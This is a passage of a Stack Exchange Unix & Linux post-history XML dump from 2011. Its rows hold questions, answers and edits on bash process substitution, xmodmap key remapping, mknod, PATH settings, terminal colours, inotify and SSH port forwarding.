&gt;/dev/null&#xD;&#xA;    #&#xD;&#xA;    cat &quot;$listf&quot;&#xD;&#xA;    #&#xD;&#xA;" />
  <row Id="25886" PostHistoryTypeId="6" PostId="10623" RevisionGUID="d97db41b-1e4d-4f22-9f1a-57fd94e7b2f9" CreationDate="2011-04-06T06:01:46.527" UserId="2343" Comment="deleted 1258 characters in body; edited tags" Text="éshellàétextöprocessingàéprocessà" />
  <row Id="25887" PostHistoryTypeId="5" PostId="10676" RevisionGUID="27a14b7f-3955-4702-b3c7-4567942122f9" CreationDate="2011-04-06T06:08:08.050" UserId="2343" Comment="added 17 characters in body" Text="It has been 10 hours since I asked the question, and I've worked out a solution... Note: As I've previously mentioned in a comment (under the question), `wait` does not work with these processes. I assume that is because these 'process-substitutions' are not 'child' processes, which I believe is what 'wait` waits for. (I tried `wait` with no args) .... &#xD;&#xA;  &#xD;&#xA;Comments on its features and failings would be appreciated. I don't quite understand how stdin is picked up by `zenity` and `tr` when `echo` is the first command, but I just thought I'd give it a go... It seems to work (in this case), but is this method safe?   &#xD;&#xA;&#xD;&#xA;There are quite likely to be some well tried and tested methods out there to tackle this, so other answers would be worthwile....&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    #@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&#xD;&#xA;    # Set up flag-files for processes to send PIDs to main process&#xD;&#xA;    # The first thing each process does is: echo -n &quot;$BASHPID &quot; &gt; flag-file  &#xD;&#xA;    for i in {1..2};do cp /dev/null &quot;$listf&quot;.pid$i;done&#xD;&#xA;    #@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&#xD;&#xA;    eval locate $zenargs |tee \&#xD;&#xA;        &gt;(echo -n &quot;$BASHPID &quot; &gt; &quot;$listf&quot;.pid1 ; \&#xD;&#xA;          zenity --progress --pulsate --auto-close) \&#xD;&#xA;        &gt;(echo -n &quot;$BASHPID &quot; &gt; &quot;$listf&quot;.pid2 ; \&#xD;&#xA;          tr $'\x60' $X01 \&#xD;&#xA;           |sed -n &quot;s/^\(.*\/\)\(.*\)/\1\2\n\2\n\1/p&quot; \&#xD;&#xA;              |while IFS= read -r line ; do \&#xD;&#xA;                  #&#xD;&#xA;                  #&#xD;&#xA;                  # process the data &#xD;&#xA;                  #&#xD;&#xA;                  #&#xD;&#xA;              done &gt; &quot;$listf&quot; ) \&#xD;&#xA;        &gt;/dev/null&#xD;&#xA;    #@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&#xD;&#xA;    ####  WAIT for processes to terminate  &#xD;&#xA;    pids=$(cat &quot;$listf&quot;.pid{1,2})&#xD;&#xA;    while [[ &quot;$pids&quot; == *[0-9]* ]] ; do&#xD;&#xA;       sleep .1 # GNU&#xD;&#xA;       for pid in $pids ; do&#xD;&#xA;          if ! kill -0 &quot;$pid&quot; 2&gt;/dev/null; then&#xD;&#xA;             pids=&quot;${pids/$pid/}&quot;&#xD;&#xA;          fi&#xD;&#xA;       done &#xD;&#xA;    done&#xD;&#xA;    #@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&#xD;&#xA;    cat &quot;$listf&quot;&#xD;&#xA;    #&#xD;&#xA;" />
  <row Id="25888" PostHistoryTypeId="25" PostId="10714" RevisionGUID="d2e9b549-6410-4c4a-98d9-e1fa225e253b" CreationDate="2011-04-06T06:09:01.410" Comment="http://twitter.com/#!/StackUnix/status/55512312773218304" />
  <row Id="25889" PostHistoryTypeId="5" PostId="7864" RevisionGUID="37279cd0-22d4-46dd-be6f-866a0eac96d9" CreationDate="2011-04-06T06:24:48.143" UserId="1782" Comment="update" Text="I have an apple keyboard and I had to do some remapping of the keys to make the mod-4 key the first key to the left of the space bar for when working with Emacs.  The below script worked fine when I was using the dwm window manager, but after switching to openbox I have found that instead of swapping keycodes between the option and command keys, both of the keys are doing the same thing.&#xD;&#xA;&#xD;&#xA;One odd thing I noticed, was on the new setup when I click run `showkey` and press the option and command keys I get 56 and 125 respectively, but these keys don't work at all when inserting them into the below script instead of the 64 and 133.&#xD;&#xA;&#xD;&#xA;I must admit I created the script below by continually tweaking it until it worked so there could be a much better way of doing it.&#xD;&#xA;&#xD;&#xA;###.xmodmap&#xD;&#xA;&#xD;&#xA;    # switch alt and command...the switch is not being done properly&#xD;&#xA;    xmodmap -e &quot;keycode 64 = Alt_L&quot;&#xD;&#xA;    xmodmap -e &quot;keycode 133 = Meta_L&quot;&#xD;&#xA;&#xD;&#xA;    # remap of mod 4&#xD;&#xA;    xmodmap -e &quot;clear Mod4&quot;&#xD;&#xA;    xmodmap -e &quot;add Mod4 = Super_L&quot;&#xD;&#xA;&#xD;&#xA;#Update&#xD;&#xA;&#xD;&#xA;I got used to the previous keyboard setup and gave up trying to tweak it.  Unfortunately, after a recent restart the Caps Lock -&gt; Ctrl no longer worked so here I am again.&#xD;&#xA;&#xD;&#xA;This time instead of the mapping used above I ran `xmodmap -pke &gt; ~/.xmod` and tweaked the keys there instead (which is much easier).&#xD;&#xA;&#xD;&#xA;However, things are still not quite right.  The CapsLock still functions as normal except when the `xev` command is run, then it returns the following which does seem to show the correct mapping:&#xD;&#xA;&#xD;&#xA;    KeyRelease event, serial 40, synthetic NO, window 0x2600001,&#xD;&#xA;    root 0x156, subw 0x0, time 2883696, (-300,-45), root:(1150,388),&#xD;&#xA;    state 0x2, keycode 66 (keysym 0xffe3, Control_L), same_screen YES,&#xD;&#xA;    XKeysymToKeycode returns keycode: 37&#xD;&#xA;    XLookupString gives 0 bytes: &#xD;&#xA;    XFilterEvent returns: False&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    [chris@archlinux ~]$ xmodmap -pm&#xD;&#xA;    xmodmap:  up to 4 keys per modifier, (keycodes in parentheses):&#xD;&#xA;&#xD;&#xA;    shift       Shift_L (0x32),  Shift_R (0x3e)&#xD;&#xA;    lock        Control_L (0x42)&#xD;&#xA;    control     Control_L (0x25),  Control_R (0x69)&#xD;&#xA;    mod1        Super_L (0x40),  Alt_R (0x6c),  Meta_L (0xcd)&#xD;&#xA;    mod2        Num_Lock (0x4d)&#xD;&#xA;    mod3      &#xD;&#xA;    mod4        Alt_L (0x85),  Super_R (0x86),  Super_L (0xce),  Hyper_L (0xcf)&#xD;&#xA;    mod5        ISO_Level3_Shift (0x5c),  Mode_switch (0xcb)&#xD;&#xA;&#xD;&#xA;I have tried adding the call `xmodmap ~/.xmod` to both the .xinitrc and ~/config/openbox/autostart.sh file neither one of them fixing the caps lock issue.&#xD;&#xA;" />
  <row Id="25890" PostHistoryTypeId="5" PostId="7864" RevisionGUID="8828e240-aa97-48f8-ba58-ebdc9cb4cb04" CreationDate="2011-04-06T06:43:59.750" UserId="1782" Comment="fix; added 262 characters in body" Text="I have an apple keyboard and I had to do some remapping of the keys to make the mod-4 key the first key to the left of the space bar for when working with Emacs.  The below script worked fine when I was using the dwm window manager, but after switching to openbox I have found that instead of swapping keycodes between the option and command keys, both of the keys are doing the same thing.&#xD;&#xA;&#xD;&#xA;One odd thing I noticed, was on the new setup when I click run `showkey` and press the option and command keys I get 56 and 125 respectively, but these keys don't work at all when inserting them into the below script instead of the 64 and 133.&#xD;&#xA;&#xD;&#xA;I must admit I created the script below by continually tweaking it until it worked so there could be a much better way of doing it.&#xD;&#xA;&#xD;&#xA;###.xmodmap&#xD;&#xA;&#xD;&#xA;    # switch alt and command...the switch is not being done properly&#xD;&#xA;    xmodmap -e &quot;keycode 64 = Alt_L&quot;&#xD;&#xA;    xmodmap -e &quot;keycode 133 = Meta_L&quot;&#xD;&#xA;&#xD;&#xA;    # remap of mod 4&#xD;&#xA;    xmodmap -e &quot;clear Mod4&quot;&#xD;&#xA;    xmodmap -e &quot;add Mod4 = Super_L&quot;&#xD;&#xA;&#xD;&#xA;#Update&#xD;&#xA;&#xD;&#xA;I got used to the previous keyboard setup and gave up trying to tweak it.  Unfortunately, after a recent restart the Caps Lock -&gt; Ctrl no longer worked so here I am again.&#xD;&#xA;&#xD;&#xA;This time instead of the mapping used above I ran `xmodmap -pke &gt; ~/.xmod` and tweaked the keys there instead (which is much easier).&#xD;&#xA;&#xD;&#xA;However, things are still not quite right.  The CapsLock still functions as normal except when the `xev` command is run, then it returns the following which does seem to show the correct mapping:&#xD;&#xA;&#xD;&#xA;    # caplock&#xD;&#xA;    KeyRelease event, serial 40, synthetic NO, window 0x2200001,&#xD;&#xA;    root 0x156, subw 0x0, time 4858000, (57,-31), root:(426,402),&#xD;&#xA;    state 0x2, keycode 66 (keysym 0xffe3, Control_L), same_screen YES,&#xD;&#xA;    XKeysymToKeycode returns keycode: 37&#xD;&#xA;    XLookupString gives 0 bytes: &#xD;&#xA;    XFilterEvent returns: False&#xD;&#xA;&#xD;&#xA;    # ctrl-L&#xD;&#xA;    KeyRelease event, serial 40, synthetic NO, window 0x2200001,&#xD;&#xA;    root 0x156, subw 0x0, time 4805947, (686,148), root:(1055,581),&#xD;&#xA;    state 0x4, keycode 37 (keysym 0xffe3, Control_L), same_screen YES,&#xD;&#xA;    XLookupString gives 0 bytes: &#xD;&#xA;    XFilterEvent returns: False&#xD;&#xA;&#xD;&#xA;    # Alt-L&#xD;&#xA;    KeyPress event, serial 40, synthetic NO, window 0x2200001,&#xD;&#xA;    root 0x156, subw 0x0, time 4555825, (-158,-649), root:(959,133),&#xD;&#xA;    state 0x0, keycode 64 (keysym 0xffeb, Super_L), same_screen YES,&#xD;&#xA;    XLookupString gives 0 bytes: &#xD;&#xA;    XmbLookupString gives 0 bytes: &#xD;&#xA;    XFilterEvent returns: False&#xD;&#xA;    &#xD;&#xA;    # Super-L&#xD;&#xA;    KeyRelease event, serial 40, synthetic NO, window 0x2200001,&#xD;&#xA;    root 0x156, subw 0x0, time 4920564, (-63,169), root:(306,602),&#xD;&#xA;    state 0x40, keycode 133 (keysym 0xffe9, Alt_L), same_screen YES,&#xD;&#xA;    XLookupString gives 0 bytes: &#xD;&#xA;    XFilterEvent returns: False&#xD;&#xA;&#xD;&#xA;" />
  <row Id="25891" PostHistoryTypeId="5" PostId="10623" RevisionGUID="39fa14a7-879c-4374-9923-90780cc19ca4" CreationDate="2011-04-06T07:03:43.947" UserId="2343" Comment="deleted 2 characters in body; edited tags" Text="When I use 'tee' to  pipe stdout directly to a &quot;specific block of code&quot; (which then writes the modified data to a file), I always get the full complement of exptected output lines in the file.  &#xD;&#xA;&#xD;&#xA;However, when I 'tee' the same data to a process **&gt;**(&quot;same block of code&quot;), it can drop up to 4 lines from the output. This number varies; sometimes it writes all the lines.  &#xD;&#xA;&#xD;&#xA;How can I get around this issue, and *why* is it only happening in the &lt;( process ) ?    &#xD;&#xA;&#xD;&#xA;More info: I am 'tee'-ing to 2 process-substitutions and also to normal stdout pipe when this line dropping occurs.  &#xD;&#xA;&#xD;&#xA;(using)  **\*\*** `GNU bash, version 4.1.5(1)-release (i486-pc-linux-gnu)`&#xD;&#xA; **\*\*** `Ubuntu 10.04.2 LTS`&#xD;&#xA;&#xD;&#xA;Here is the actual script.. The second process-substitution is the one in question;  (the one beginning with `&gt;(tr $'\x60' $X01 `)   &#xD;&#xA;&#xD;&#xA;    #  &#xD;&#xA;    # Run 'locate' and direct the output to a temp file&#xD;&#xA;      errflag=&quot;&quot;&#xD;&#xA;      locitmct=0  # Count of located items &#xD;&#xA;      columns=4  # The number of columns in the main dialog&#xD;&#xA;      colmnb=0  # Column number (NB: columns 1 and 2 are processed together) &#xD;&#xA;      X01=$'\x01'&#xD;&#xA;      eval locate $zenargs |tee \&#xD;&#xA;          &gt;(zenity --progress --pulsate --auto-close) \&#xD;&#xA;          &gt;(tr $'\x60' $X01 \&#xD;&#xA;             |sed -n &quot;s/^\(.*\/\)\(.*\)/\1\2\n\2\n\1/p&quot; \&#xD;&#xA;                |while IFS= read -r line ; do \&#xD;&#xA;                  #&#xD;&#xA;                  #&#xD;&#xA;                  # process the data&#xD;&#xA;                  #&#xD;&#xA;                  #&#xD;&#xA;                done &gt; &quot;$listf&quot; )\&#xD;&#xA;          &gt;/dev/null&#xD;&#xA;    #&#xD;&#xA;    cat &quot;$listf&quot;&#xD;&#xA;    #&#xD;&#xA;" />
  <row Id="25892" PostHistoryTypeId="6" PostId="10623" RevisionGUID="39fa14a7-879c-4374-9923-90780cc19ca4" CreationDate="2011-04-06T07:03:43.947" UserId="2343" Comment="deleted 2 characters in body; edited tags" Text="éshellàébashàéprocessà" />
  <row Id="25893" PostHistoryTypeId="2" PostId="10720" RevisionGUID="0be68300-a038-45da-975f-26b453686d6b" CreationDate="2011-04-06T07:14:16.213" UserId="885" Text="I don't think there's a general, cross-platform answer. On Linux, the information is in `/proc/partitions` (in spite of the name, this contains all (most?) block devices, not just PC-style partitions).&#xD;&#xA;&#xD;&#xA;    awk '$4 == &quot;sda&quot; {print $3}' /proc/partitions&#xD;&#xA;" />
  <row Id="25894" PostHistoryTypeId="6" PostId="10713" RevisionGUID="bb5d2c8d-d954-4fc0-b860-33df88fe7c1b" CreationDate="2011-04-06T07:14:54.607" UserId="885" Comment="edited tags" Text="écommandölineàépartitionàésizeàéblocködeviceà" />
  <row Id="25895" PostHistoryTypeId="2" PostId="10721" RevisionGUID="e6edd066-b46a-484a-88a8-e92f1466ec6b" CreationDate="2011-04-06T07:17:39.190" UserId="1594" Text="Can I configure it to allow:&#xD;&#xA;&#xD;&#xA; - select right-click to copy&#xD;&#xA; - right-click or ctrl-v to paste?" />
  <row Id="25896" PostHistoryTypeId="1" PostId="10721" RevisionGUID="e6edd066-b46a-484a-88a8-e92f1466ec6b" CreationDate="2011-04-06T07:17:39.190" UserId="1594" Text="Copy-pasting in gnome-terminal" />
  <row Id="25897" PostHistoryTypeId="3" PostId="10721" RevisionGUID="e6edd066-b46a-484a-88a8-e92f1466ec6b" CreationDate="2011-04-06T07:17:39.190" UserId="1594" Text="égnomeàégnomeöterminalà" />
  <row Id="25898" PostHistoryTypeId="2" PostId="10722" RevisionGUID="80ca8606-29ea-473f-b78a-b71809bfa4b3" CreationDate="2011-04-06T07:25:07.037" UserId="885" Text="Each terminal emulator has its own way of setting color shades (or not). Xterm uses X resources, some of the newer emulators have dialog boxes, some have configuration files.&#xD;&#xA;&#xD;&#xA;There is a common [control sequence](http://invisible-island.net/xterm/xterm.faq.html#ctlseqs_ms) to set the shade associated with a color number from the application: `OSC 4 ; c ; spec BEL` where `OSC` is `ESC ]`, `c` is the color number and `spec` is a color spec such as #RGB.&#xD;&#xA;&#xD;&#xA;    printf %b '\e]4;4;#6495ed\a'  # set the blue shade to CornflowerBlue&#xD;&#xA;&#xD;&#xA;A change by the application is only effective until the next terminal reset. If you use this method (only recommended if your terminal lacks a configuration mechanism), to make the change effectively persistent, append the color configuration escape sequence to your terminal's reset string (termcap: `r1` string; terminfo: `rs1` string).&#xD;&#xA;" />
  <row Id="25899" PostHistoryTypeId="2" PostId="10723" RevisionGUID="44deb3f3-f11b-49db-a99a-0bd7fcc8e53e" CreationDate="2011-04-06T07:28:42.787" UserId="6330" Text="I just started using Ubuntu as my main OS and I wanted to learn about things I should not do, and learn by the bad things people have done in the past. I came across [these email about horror stories that UNIX &amp; Linux sys admins][1] had done on their own system when they where new. Many of them involved the use of the mknod command to both distory and fix a problem. I've never heard of this command before and the man page within Ubuntu is not very helpful. So my question is, what is this command used for, and what are some examples where it is useful in day to day use?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www-uxsup.csx.cam.ac.uk/misc/horror.txt" />
  <row Id="25900" PostHistoryTypeId="1" PostId="10723" RevisionGUID="44deb3f3-f11b-49db-a99a-0bd7fcc8e53e" CreationDate="2011-04-06T07:28:42.787" UserId="6330" Text="What is the mknod command used for?" />
  <row Id="25901" PostHistoryTypeId="3" PostId="10723" RevisionGUID="44deb3f3-f11b-49db-a99a-0bd7fcc8e53e" CreationDate="2011-04-06T07:28:42.787" UserId="6330" Text="élinuxàéshellàécommandölineàécommandà" />
  <row Id="25902" PostHistoryTypeId="2" PostId="10724" RevisionGUID="e32c551d-418b-4ac2-ace7-c5957f830464" CreationDate="2011-04-06T07:46:20.397" UserId="1290" Text="You can make a named pipe with is.&#xD;&#xA;&#xD;&#xA;I use it with one program to read from it, and another one to write into it.&#xD;&#xA;&#xD;&#xA;Makes it easier to communicate between processes.&#xD;&#xA;&#xD;&#xA;Otherwise, you may create device files, for devices that aren't present.&#xD;&#xA;&#xD;&#xA;Also: http://publib.boulder.ibm.com/infocenter/aix/v6r1/index.jsp?topic=/com.ibm.aix.cmds/doc/aixcmds3/mknod.htm" />
  <row Id="25903" PostHistoryTypeId="2" PostId="10725" RevisionGUID="d6b3cdf7-9b7a-45cc-8fd8-8cb9ba253680" CreationDate="2011-04-06T07:47:42.333" UserId="4949" Text="`mknod` was originally used to create the character and block devices that populate `/dev/`. Nowadays software like `udev` automatically creates and removes device nodes on the virtual filesystem when the corresponding hardware is detected by the kernel, but originally `/dev` was just a directory in `/` that was populated during install. &#xD;&#xA;&#xD;&#xA;So yes, in case of a near complete disaster causing the `/dev` virtual filesystem not to load and/or `udev` failing spectacularly, using `mknod` to painstakingly repopulate at least a rudimentary device tree to get *something* back up can be done... But yeah, that's sysadmin horror story time. Personally, I recommend a rescue USB stick or CD.&#xD;&#xA;&#xD;&#xA;Aside from creating named pipes, I can't think of a single possible day-to-day use for it that an end user would need to concern themselves with -- and even that is stretching the definition of 'day to day use'. &#xD;&#xA;" />
  <row Id="25904" PostHistoryTypeId="2" PostId="10726" RevisionGUID="dfca341c-67c7-4b44-a9aa-4c071c20f823" CreationDate="2011-04-06T07:48:25.060" UserId="5767" Text="Hi,&#xD;&#xA;&#xD;&#xA;I have a weird problem, unfortuantely I don't know what I did to cause this, since I tried out lots of stuff on my Linux (Archlinux, 2.6.38 kernel).&#xD;&#xA;The problem is: My shell is not finding programs in /sbin anymore. It looks like this:&#xD;&#xA;&#xD;&#xA;    [chris@myhost ~] insmod&#xD;&#xA;    bash: insmod: command not found&#xD;&#xA;    [chris@myhost ~] ls -l /sbin/insmod&#xD;&#xA;    -rwxr-x-r-x root root 7888 Mar 23 10:14 /sbin/insmod&#xD;&#xA;    [chris@myhost ~] /sbin/insmod&#xD;&#xA;    -- Works&#xD;&#xA;&#xD;&#xA;So as you can see, the program (the problem occurs for every executable in sbin) is still there, I can start it using /sbin/name, only the short name alias seems to be corrupted. How can I fix this?" />
  <row Id="25905" PostHistoryTypeId="1" PostId="10726" RevisionGUID="dfca341c-67c7-4b44-a9aa-4c071c20f823" CreationDate="2011-04-06T07:48:25.060" UserId="5767" Text="Aliases for programs in /sbin/" />
  <row Id="25906" PostHistoryTypeId="3" PostId="10726" RevisionGUID="dfca341c-67c7-4b44-a9aa-4c071c20f823" CreationDate="2011-04-06T07:48:25.060" UserId="5767" Text="élinuxàéshellàéaliasà" />
  <row Id="25907" PostHistoryTypeId="2" PostId="10727" RevisionGUID="4c5ad3d9-5a18-48c3-bd88-9937cb35eb44" CreationDate="2011-04-06T07:53:40.017" UserId="3169" Text="This is not about aliases.  It's controlled by the `PATH` environment variable.&#xD;&#xA;&#xD;&#xA;On many systems, root has `/sbin` and `/usr/sbin` in `PATH`, but normal users don't.&#xD;&#xA;&#xD;&#xA;If you want to type `insmod` etc without typing the full path, you can put&#xD;&#xA;&#xD;&#xA;    PATH=$PATH:/sbin&#xD;&#xA;&#xD;&#xA;in your shell settings file (e.g. `.bashrc` in your home directory).&#xD;&#xA;&#xD;&#xA;Or you could look at `/etc/profile`, `/etc/environment`, `/etc/login.defs` and see how it's setting `PATH` and change it there.&#xD;&#xA;&#xD;&#xA;A quick way to find which file(s) to look in is running `grep -R PATH /etc` (or `grep -HIRn PATH /etc`)." />
  <row Id="25908" PostHistoryTypeId="2" PostId="10728" RevisionGUID="5b9fb5de-e2f4-4dce-9d54-fddcfc2225fc" CreationDate="2011-04-06T08:00:27.283" UserId="3169" Text="You can make &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;V&lt;/kbd&gt; paste by editing the keyboard shortcuts via the menu.&#xD;&#xA;&#xD;&#xA;But you might not want to do it, because &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;V&lt;/kbd&gt; is normally used by your shell as a way of typing characters literally.  For example, &lt;kbd&gt;Tab&lt;/kbd&gt; normally makes the shell try to tab-complete a file name.  If you need to actually type a tab, &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;V&lt;/kbd&gt; &lt;kbd&gt;Tab&lt;/kbd&gt; lets you do that.&#xD;&#xA;&#xD;&#xA;You can change it, and &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Q&lt;/kbd&gt; or &lt;kbd&gt;\&lt;/kbd&gt; might work.  See [bash Commands for Changing Text](http://www.gnu.org/software/bash/manual/html_node/Commands-For-Text.html#Commands-For-Text) for some details.&#xD;&#xA;&#xD;&#xA;I don't think the other things are possible." />
  <row Id="25909" PostHistoryTypeId="2" PostId="10729" RevisionGUID="166efc9c-9e2d-4c1f-9bdc-6fc1cdc9a74d" CreationDate="2011-04-06T08:17:00.207" UserId="5646" Text="On Mac OS X, there’s a handy daemon called [launchd](http://en.wikipedia.org/wiki/Launchd). Along with subsuming cron’s functionality, it *allows you to have scripts run when files or directories change*.&#xD;&#xA;&#xD;&#xA;Is there a Linux program/package that includes the latter functionality?" />
  <row Id="25910" PostHistoryTypeId="1" PostId="10729" RevisionGUID="166efc9c-9e2d-4c1f-9bdc-6fc1cdc9a74d" CreationDate="2011-04-06T08:17:00.207" UserId="5646" Text="Is there an equivalent to Mac OS X’s launchd in (preferably Debian) Linux?" />
  <row Id="25911" PostHistoryTypeId="3" PostId="10729" RevisionGUID="166efc9c-9e2d-4c1f-9bdc-6fc1cdc9a74d" CreationDate="2011-04-06T08:17:00.207" UserId="5646" Text="élinuxà" />
  <row Id="25912" PostHistoryTypeId="5" PostId="10729" RevisionGUID="639eeb79-e3af-4869-8099-f338f90c03f6" CreationDate="2011-04-06T08:22:40.933" UserId="5646" Comment="added 63 characters in body; added 20 characters in body; edited tags; edited title; deleted 24 characters in body" Text="On Mac OS X, there’s a handy daemon called [launchd](http://en.wikipedia.org/wiki/Launchd) which (amongst other things) allows you to have scripts run when files or directories change (via the `WatchPaths` and `QueueDirectories` plist file options).&#xD;&#xA;&#xD;&#xA;Is there a (preferably Debian) Linux program/package that includes this functionality?" />
  <row Id="25913" PostHistoryTypeId="4" PostId="10729" RevisionGUID="639eeb79-e3af-4869-8099-f338f90c03f6" CreationDate="2011-04-06T08:22:40.933" UserId="5646" Comment="added 63 characters in body; added 20 characters in body; edited tags; edited title; deleted 24 characters in body" Text="How can I make scripts run when a file/directory changes in Linux (like Mac OS X’s launchd)?" />
  <row Id="25914" PostHistoryTypeId="6" PostId="10729" RevisionGUID="639eeb79-e3af-4869-8099-f338f90c03f6" CreationDate="2011-04-06T08:22:40.933" UserId="5646" Comment="added 63 characters in body; added 20 characters in body; edited tags; edited title; deleted 24 characters in body" Text="élinuxàédebianà" />
  <row Id="25915" PostHistoryTypeId="2" PostId="10730" RevisionGUID="ff112bf7-781f-4e10-9b0d-a100fea44dcc" CreationDate="2011-04-06T08:43:01.100" UserId="3169" Text="There is an API called [inotify](http://en.wikipedia.org/wiki/Inotify) for C programmers.&#xD;&#xA;&#xD;&#xA;There are some tools that use it, e.g. [incron](http://inotify.aiken.cz/?section=incron&amp;page=about&amp;lang=en) and [inotify-tools](https://github.com/rvoicilas/inotify-tools/wiki/)." />
  <row Id="25916" PostHistoryTypeId="6" PostId="10721" RevisionGUID="dc983bee-6dd3-468b-aac1-9f35c1a5ce40" CreationDate="2011-04-06T08:59:36.467" UserId="885" Comment="edited tags" Text="écopyöpasteàégnomeöterminalà" />
  <row Id="25917" PostHistoryTypeId="6" PostId="10729" RevisionGUID="ac2951a2-ea21-4478-ba33-c1820e48aa10" CreationDate="2011-04-06T09:02:17.057" UserId="885" Comment="edited tags" Text="élinuxàéshellàéfilesàéhookà" />
  <row Id="25918" PostHistoryTypeId="5" PostId="10722" RevisionGUID="37675de4-b0e3-4182-add1-0aaf712d3c20" CreationDate="2011-04-06T09:05:23.327" UserId="885" Comment="added konsole instructions" Text="Each terminal emulator has its own way of setting color shades (or not). Xterm uses X resources, some of the newer emulators have dialog boxes, some have configuration files.&#xD;&#xA;&#xD;&#xA;In Konsole, edit the color scheme in your profile (from the menu: “Settings / Edit current profile”, “Appearance” tab, select a color theme and edit it or make a new one).&#xD;&#xA;&#xD;&#xA;There is a common [control sequence](http://invisible-island.net/xterm/xterm.faq.html#ctlseqs_ms) to set the shade associated with a color number from the application: `OSC 4 ; c ; spec BEL` where `OSC` is `ESC ]`, `c` is the color number and `spec` is a color spec such as #RGB.&#xD;&#xA;&#xD;&#xA;    printf %b '\e]4;4;#6495ed\a'  # set the blue shade to CornflowerBlue&#xD;&#xA;&#xD;&#xA;A change by the application is only effective until the next terminal reset. If you use this method (only recommended if your terminal lacks a configuration mechanism), to make the change effectively persistent, append the color configuration escape sequence to your terminal's reset string (termcap: `r1` string; terminfo: `rs1` string).&#xD;&#xA;" />
  <row Id="25919" PostHistoryTypeId="25" PostId="10729" RevisionGUID="c8b6afb3-47f3-4323-b05c-a8c3823aece8" CreationDate="2011-04-06T09:09:01.717" Comment="http://twitter.com/#!/StackUnix/status/55557612871221249" />
  <row Id="25920" PostHistoryTypeId="2" PostId="10731" RevisionGUID="8b546124-a9a1-4b46-b486-c4e0ecb87a9f" CreationDate="2011-04-06T09:15:18.543" UserId="4628" Text="Hello, often I have to download a file that isn't directly accessable via the first SSH connection. For example I'm on a Windows machine and I want to access another machine that is only accessable from lan. That means that I must first connect to a intermediate machine and SSH to the next one.&#xD;&#xA;&#xD;&#xA;It would be easy to use pscp to get the file, if it were available for the first machine. Could SSH port forwarding be used in this scenario?" />
  <row Id="25921" PostHistoryTypeId="1" PostId="10731" RevisionGUID="8b546124-a9a1-4b46-b486-c4e0ecb87a9f" CreationDate="2011-04-06T09:15:18.543" UserId="4628" Text="Common multiple SSH connections file handling issue" />
  <row Id="25922" PostHistoryTypeId="3" PostId="10731" RevisionGUID="8b546124-a9a1-4b46-b486-c4e0ecb87a9f" CreationDate="2011-04-06T09:15:18.543" UserId="4628" Text="ésshàésshötunnelingà" />
  <row Id="25923" PostHistoryTypeId="2" PostId="10732" RevisionGUID="d5f408af-a84e-42eb-9f49-e03c360e1d59" CreationDate="2011-04-06T10:52:33.360" UserId="6167" Text="Yes, SSH port forwarding can be used in this case, but you can also get warnings about invalid or incorrect host keys when attempting this.  Some SSH clients like OpenSSH track SSH host keys by domain or IP only and don't include the port number with it.  PuTTY appears to record the port number with the host key and should not suffer from this problem as long as your consistent with which port numbers you use for each host.  I'd recommend adding the port forwardings to a saved session in PuTTY.  You can then also save the additional sessions for the various remote hosts as saved sessions and use that with pscp/psftp.  You can start with any high number port for the forwarding such as 2220 and go up by one from there for each host you need to forward through an intermediate host.  Add to the saved session for `intermediate` local port forwards like port `2220` and destination `remote1:22` and port `2221` with destination `remote2:22` for remote hosts `remote1` and `remote2`  Then create sessions for `remote1` with destination `localhost` and SSH port `2220` and a session for `remote2` with destination `localhost` and SSH port `2221`.  To use sessions with pcsp/psftp use `@session-name` for the host.&#xD;&#xA;&#xD;&#xA;The problem occurs when either you have somehow associated a SSH host key with localhost and you attempt to connect to a local port that's being forwarded to a different computer.  With OpenSSH, I fixed this problem by using `HostKeyAlias`.  I added entries to my `~/.ssh/config` like this:&#xD;&#xA;&#xD;&#xA;    Host intermediate&#xD;&#xA;    HostName intermediate.example.org&#xD;&#xA;    LocalForward 2220 remote1.example.org:22&#xD;&#xA;    LocalForward 2222 remote2.example.org:22&#xD;&#xA;&#xD;&#xA;    Host remote1&#xD;&#xA;    HostName localhost&#xD;&#xA;    Port 2220&#xD;&#xA;    HostKeyAlias remote1.example.org&#xD;&#xA;&#xD;&#xA;    Host remote2&#xD;&#xA;    HostName localhost&#xD;&#xA;    Port 2221&#xD;&#xA;    HostKeyAlias remote2.example.org&#xD;&#xA;&#xD;&#xA;My preferred fix, though, was when I deployed IPv6 on my home and work network and I no longer had to worry about connecting to an intermediate server first to get to my final destination." />
  <row Id="25926" PostHistoryTypeId="2" PostId="10734" RevisionGUID="c3f877b2-d9ae-4c5a-b7e3-0546c17b29d3" CreationDate="2011-04-06T11:31:33.053" UserId="688" Text="I think the reason the option was greyed out is because the stick wasn't actually unmounted. It's a bug in GParted because I unmounted it using its Unmount right-click menu option, and I didn't get a message saying the operation failed." />
  <row Id="25927" PostHistoryTypeId="2" PostId="10735" RevisionGUID="6e0ffae4-683d-493e-a9f3-8169ee90c8d6" CreationDate="2011-04-06T11:45:02.840" UserId="4041" Text="I need to allow an user (different from root) to run a server listening on port 80.&#xD;&#xA;&#xD;&#xA;Is there any way to do this?" />
  <row Id="25928" PostHistoryTypeId="1" PostId="10735" RevisionGUID="6e0ffae4-683d-493e-a9f3-8169ee90c8d6" CreationDate="2011-04-06T11:45:02.840" UserId="4041" Text="Linux: allowing an user to listen to a port below 1024" />
  <row Id="25929" PostHistoryTypeId="3" PostId="10735" RevisionGUID="6e0ffae4-683d-493e-a9f3-8169ee90c8d6" CreationDate="2011-04-06T11:45:02.840" UserId="4041" Text="élinuxàénetworkingàépermissionsàéportsà" />
